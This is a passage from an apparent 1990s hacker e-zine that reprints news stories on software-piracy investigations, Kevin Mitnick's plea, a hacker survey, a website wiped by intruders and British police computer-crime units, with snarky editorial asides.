  14033. cost British program-makers more than £3 billion a year.
  14034.  
  14035. "Jason", a computer crime investigator employed by Novell to shut down
  14036. bulletin boards that trade pirate copies of its software, leads a
  14037. confusing double life. First he spends weeks in his office, surfing the
  14038. Internet and wheedling secrets from hackers around Europe; then he
  14039. compiles dossiers of evidence on the system operators who deal in Novell
  14040. wares, flies to their bases, presents the local police with his reports,
  14041. and accompanies them on the inevitable raid.
  14042.  
  14043. "Every day I'm on IRC [the Internet's chat lines, where information can
  14044. be exchanged quickly and relatively anonymously] looking for tips on new
  14045. bulletin boards that might have Novell products on them," he says.
  14046.  
  14047. "Our policy has been to go country by country through Europe and try to
  14048. take down the biggest boards in each one"
  14049.  
  14050. "It tends to be the biggest boards that have our products, and those can
  14051. be difficult to get on to. The operators have invested a lot of time and
  14052. cash in setting them up and they're sometimes quite careful who they'll
  14053. let on. I often start by joining dozens of little boards in the area to
  14054. get myself a good reputation, which I can use as a reference to get on
  14055. to the big board.
  14056.  
  14057. "Our policy has been to go country by country through Europe and try to
  14058. take down the biggest boards in each one. That has a chilling effect on
  14059. the other operators. They think, 'If he could get caught, I'm doomed.'
  14060. Within days of us taking down a big board, Novell products disappear off
  14061. the smaller ones."
  14062.  
  14063. Once Jason gains entry to a big board, the game begins in earnest:
  14064. "Bulletin boards work on the principle that if you want to take
  14065. something off, you first have to put something in. Obviously I can't put
  14066. in Novell's products, or any other company's; instead, we use a program
  14067. we wrote ourselves. It's huge, and it has an impressive front end full
  14068. of colour screen indicators and menus. It doesn't actually do anything
  14069. but it looks impressive and it lets you start pulling things off the
  14070. site."
  14071.  
  14072. Once Jason finds company products on a board, he makes a video of
  14073. himself logging on and retrieving a copy of the software.
  14074.  
  14075. [* Talk about freako bizarre narc fetishes.. *]
  14076.  
  14077. Bulletin boards often have restricted areas closed to all but a few
  14078. trusted members, and these are where the most illegal products - such as
  14079. expensive business or word-processing packages copied from beta releases
  14080. or pirate disks - are kept. Penetrating these areas takes a skill
  14081. learned from the hackers. "It's called social engineering," says Jason.
  14082. "It just means chatting up the operator until he decides to trust you
  14083. with the goodies."
  14084.  
  14085. Once Jason finds company products on a board, he makes a video of
  14086. himself logging on and retrieving a copy of the software. Then it's on
  14087. to a plane to go and lodge a complaint with the local police.
  14088.  
  14089. He is helped by Simon Swale, a fellow Novell investigator and former
  14090. Metropolitan Police detective who uses his experience of international
  14091. police procedures and culture to ensure that foreign forces get all the
  14092. technical help they need.
  14093.  
  14094. In the past six months, Jason's investigations have shut down seven
  14095. bulletin boards across Europe, recovering software valued at more than
  14096. £500,000. The company reckons the closed boards would have cost it more
  14097. than £2.5 million in lost sales over the next year.
  14098.  
  14099. Jason has vivid memories of the early-morning raid on the operator's
  14100. house.
  14101.  
  14102. One of the Jason's biggest successes came earlier this year in Antwerp,
  14103. when he guided Belgian police to the Genesis bulletin board, which held
  14104. more than £45,000 worth of Novell products and a slew of other pirate
  14105. software. Jason has vivid memories of the early-morning raid on the
  14106. operator's house: "The first thing he said was, 'I have nothing illegal
  14107. on my system.' So I set up my laptop and mobile and dialled into it from
  14108. his kitchen. All the police watched as I tapped into my keyboard and
  14109. everything popped up on his screen across the room. I went straight
  14110. in to the Novell stuff and he said, 'Okay, maybe I have a little'."
  14111.  
  14112. The system operator, Jean-Louis Piret, reached a six-figure out-of-court
  14113. settlement with Novell. More importantly for the company, its products
  14114. have all but disappeared from Belgium's boards in the wake of the raid.
  14115.  
  14116. There are, however, many more fish to fry. Jason already has another
  14117. three raids lined up for autumn . . .
  14118.  
  14119. [=-------------------------------------------------------------------------=]
  14120.  
  14121. title: Revealing Intel's Secrets
  14122.  
  14123. The Intel's Secrets site may not be around for long if Intel has anything
  14124. to say about it. The site provides a look at details, flaws, and programming
  14125. tips that the giant chip manufacturer would rather not share with the general
  14126. public. One particular page exposes some unflattering clitches of the P6
  14127. chip and a bug in the Intel486 chip. The site even has two separate hit
  14128. counters: one for the average visitor, and one that counts the number of
  14129. times Intel has stopped by.  
  14130.  
  14131. [=-------------------------------------------------------------------------=]
  14132.  
  14133. title: Internet Boom Puts Home PCs At Risk Of Hackers
  14134. author: Nick Nuttall
  14135. source: The London Times
  14136.  
  14137. 18th October 1996
  14138.  
  14139. Home computers, which carry everything from private banking details to
  14140. love letters, are becoming vulnerable to hackers as more households
  14141. connect to the Internet. 
  14142.  
  14143. The boom in electronic services is making the home PC as open to attack
  14144. as company and government systems, a survey of hackers has disclosed.
  14145. The Internet is also helping hackers to become more skilful as they
  14146. exchange tips and computer programs around the globe. 
  14147.  
  14148. [* Survey of hackers?! Bullshit. *]
  14149.  
  14150. A spokesman for Kinross and Render, which carried out the survey for
  14151. Computacenter, said: "Breaking into home computers is now increasingly
  14152. possible and of great interest to hackers. It may be a famous person's
  14153. computer, like Tony Blair's or a sports personality. Equally it could be
  14154. yours or my computer carrying personal details which they could use for
  14155. blackmailing." 
  14156.  
  14157. Passwords remain easy to break despite warnings about intrusion.
  14158. Companies and individuals frequently use simple name passwords such as
  14159. Hill for Damon Hill or Blair for the Labour leader. Hackers also said
  14160. that many users had failed to replace the manufacturer's password with
  14161. their own. 
  14162.  
  14163. Hackers often use programs, downloaded from the Internet, which will
  14164. automatically generate thousands of likely passwords. These are called
  14165. Crackers and have names such as Satan or Death.
  14166.  
  14167. [* Satan? Death? Ahhhh! *]
  14168.  
  14169. John Perkins, of the National Computing Centre in Manchester, said
  14170. yesterday: "The linking of company and now home computers to the
  14171. global networks is making an expanding market for the hackers." The
  14172. Computacenter survey was based on interviews with more than 130
  14173. hackers, supplemented by interviews over the Internet. The average
  14174. hacker is 23, male and a university student. At least one of those
  14175. questioned began hacking ten years ago, when he was eight. 
  14176.  
  14177. [* No offense to anyone out there, but how in the hell could they
  14178.    validate any claims in a survey like that? And especially with
  14179.    that amount? *]
  14180.  
  14181. Most said it was getting easier, rather than harder, to break in and
  14182. many hackers would relish tighter computer security because this would
  14183. increase the challenge. Existing laws are held in contempt and almost 80
  14184. per cent said tougher laws and more prosecutions would not be a
  14185. deterrent. Eighty-five per cent of those questioned had never been
  14186. caught.
  14187.  
  14188. Most said the attraction of hacking lay in the challenge, but a hard
  14189. core were keen to sabotage computer files and cause chaos, while others
  14190. hoped to commit fraud.
  14191.  
  14192. [* Excuse me while I vomit. *]
  14193.  
  14194. [=-------------------------------------------------------------------------=]
  14195.  
  14196. title: Computer hacker Mitnick pleads innocent
  14197.  
  14198. September 30, 1996
  14199.  
  14200. LOS ANGELES (AP) -- The notorious computer hacker Kevin Mitnick pleaded
  14201. innocent Monday to charges he mounted a multimillion-dollar crime wave
  14202. in cyberspace during 2 1/2 years as a fugitive.
  14203.  
  14204. Mitnick, 33, held without bail on a fraud conviction, told the judge
  14205. not to bother reading the indictment, which includes 25 new counts of
  14206. computer and wire fraud, possessing unlawful access devices, damaging
  14207. computers and intercepting electronic messages.
  14208.  
  14209. "Not guilty," Mitnick said.  His indictment, handed up Friday by a
  14210. federal grand jury, follows an investigation by a national task force
  14211. of FBI, NASA and federal prosecutors with high-tech expertise.
  14212.  
  14213. It charges Mitnick with using stolen computer passwords, damaging
  14214. University of Southern California computers and stealing software
  14215. valued at millions of dollars from technology companies, including
  14216. Novell, Motorola, Nokia, Fujitsu and NEC.
  14217.  
  14218.                            ...........
  14219.  
  14220. Mitnick pleaded guilty in April to a North Carolina fraud charge of
  14221. using 15 stolen phone numbers to dial into computer databases.
  14222. Prosecutors then dropped 22 other fraud charges but warned that new
  14223. charges could follow.
  14224.  
  14225. Mitnick also admitted violating probation for a 1988 conviction in Los
  14226. Angeles where he served a year in jail for breaking into computers at
  14227. Digital Equipment Corp. At 16, he served six months in a youth center
  14228. for stealing computer manuals from a Pacific Bell switching center.
  14229.  
  14230. Mitnick also got a new lawyer Monday, Donald C. Randolph, who
  14231. represented Charles Keating Jr.'s top aide, Judy J. Wischer, in the
  14232. Lincoln Savings swindle.
  14233.  
  14234. [=-------------------------------------------------------------------------=]
  14235.  
  14236. title: Hackers Destroy Evidence of Gulf War Chemical/Biological Weapons
  14237. source: WesNet News
  14238.  
  14239. Saturday, Nov. 2, 5:00 p.m.
  14240.  
  14241. WASHINGTON DC -- Hackers broke into a Web site (http://insigniausa.com)
  14242. containing suppressed evidence of Gulf War chemical and biological weapons
  14243. Friday, erasing all files.
  14244.  
  14245. "Someone hacked in Friday around 4 p.m. and completely trashed our
  14246. machine," said Kenneth Weaver, webmaster of W3 Concepts, Inc.
  14247. (http://ns.w3concepts.com) of Poolesville, Maryland (a suburb of Washington
  14248. D.C.), which houses the site. 
  14249.  
  14250. The Web site contained recently-released supressed Department of Defense
  14251. documents exposing biological and chemical warfare materials that U.S.
  14252. companies allegedly provided to Iraq before the war. 
  14253.  
  14254. Bruce Klett, publisher, Insignia Publishing said they are now restoring the
  14255. files. "We plan to be operational again Saturday evening or Sunday," he
  14256. said. "We encourage anyone to copy these files and distribute them." There
  14257. are over 300 files, requiring 50 MB of disk space.
  14258.  
  14259. The Department of Defense has its own version of these files on its
  14260. Gulflink Web site (http://www.dtic.dla.mil/gulflink/).
  14261.  
  14262. Insignia plans to publish Gassed In the Gulf, a book on the government's
  14263. coverup by former CIA analyst Patrick Eddington, in six to eight weeks,
  14264. Klett added.
  14265.  
  14266. Hackers also brought down SNETNEWS and IUFO, Internet mailing lists
  14267. covering conspiracies and UFOs, on Oct. 25, according to list administrator
  14268. Steve Wingate. He plans to move the lists to another Internet service
  14269. provider be be back in operation soon.
  14270.  
  14271. "We've seen this happen regularly when we get too close to sensitive
  14272. subjects," Wingate said. "The election is Tuesday. This is a factor."
  14273.  
  14274. He also said a "quiet" helicopter buzzed and illuminated his Marin County
  14275. house and car Thursday night for several minutes.
  14276.  
  14277. [=-------------------------------------------------------------------------=]
  14278.  
  14279. title: Criminals Slip Through The Net
  14280. source: The Telegraph, London
  14281.  
  14282. 5th November 1996
  14283.  
  14284. Britain is way behind in the fight against computer crime and it's time
  14285. to take it seriously, reports Michael McCormack
  14286.  
  14287.  
  14288. BRITAIN'S police forces are lagging behind the rest of the world in
  14289. combating computer crime, according to one of the country's most
  14290. experienced computer investigators - who has just returned to walking
  14291. the beat.
  14292.  
  14293. Police Constable John Thackray, of the South Yorkshire Police, reached
  14294. this grim conclusion after a three-month tour of the world's leading
  14295. computer crime units, sponsored by the Winston Churchill Memorial Trust.
  14296.  
  14297. All of the five countries he studied, he says, are putting Britain's
  14298. efforts against electronic crime to shame.
  14299.  
  14300. "The level of education and understanding of computer crime is far more
  14301. advanced outside Britain," said Thackray.
  14302.  
  14303. "Here, police forces are shying away from even attempting to investigate
  14304. computer crimes. You see experienced detectives who lose all interest in
  14305. pursuing cases where there are computers involved.
  14306.  
  14307. "We know that computer crime, particularly software piracy, is closely
  14308. connected with organised crime - they like the high profits and the low
  14309. risk - but those connections aren't followed up."
  14310.  
  14311. He adds:"We are far behind our own criminals on these matters. We only
  14312. catch them when they get complacent and keep using old technology and
  14313. old methods. If they simply keep up with current technology, they are so
  14314. far ahead they are safe." Thackray was one of the officers responsible
  14315. for closing down one of the largest pirate bulletin boards in the
  14316. country, estimated to have stolen software worth thousands last year and
  14317. has assisted officers from other forces in several similar cases.
  14318. Pirates recently named a new offering of bootleg software "Thackray1 and
  14319. 2" in his honour.
  14320.  
  14321. He has seen how seriously such crimes are taken by police forces abroad:
  14322. "In America there are specialist units in every state and a similar
  14323. system is being put in place in Australia. There's nothing nearly as
  14324. comprehensive in in Britain.
  14325.  
  14326. "We have the Computer Crimes Unit at Scotland Yard and a small forensic
  14327. team at Greater Manchester, but they're both badly under-resourced and
  14328. there's little interest in, or support for, investigating computer
  14329. crimes in other forces.
  14330.  
  14331. "Our officers must get a better education, to start with, on what
  14332. computer crime is, how it works and who is being hurt by it. We need to
  14333. bury the impression that this is a victimless crime with no serious
  14334. consequences."
  14335.  
  14336. Thackray is preparing a report on his impressions of anti-crime
  14337. initiatives in other countries and what must be done in Britain to equal
  14338. them. "In my view, we need specially detailed officers who are educated
  14339. in computer crime issues.
  14340.  
  14341. "We also need to become much more pro-active in our approach. It's not
  14342. good enough to sit back and wait for the complaints."
  14343.  
  14344. But perhaps symptomatic of Britain's efforts is the way Thackray's
  14345. valuable experience is being used. He is putting away his laptop and
  14346. getting out his boots.
  14347.  
  14348. "I'm now being moved back into uniform. The two year experience I have
  14349. gained in investigating these matters is not going to be used to its
  14350. full potential."
  14351.  
  14352. "We pride ourselves on being an effective police service in Britain, and
  14353. other countries look up to us. But when it comes to computer crime, we
  14354. have to start following their lead."
  14355.  
  14356. -EOF
  14357.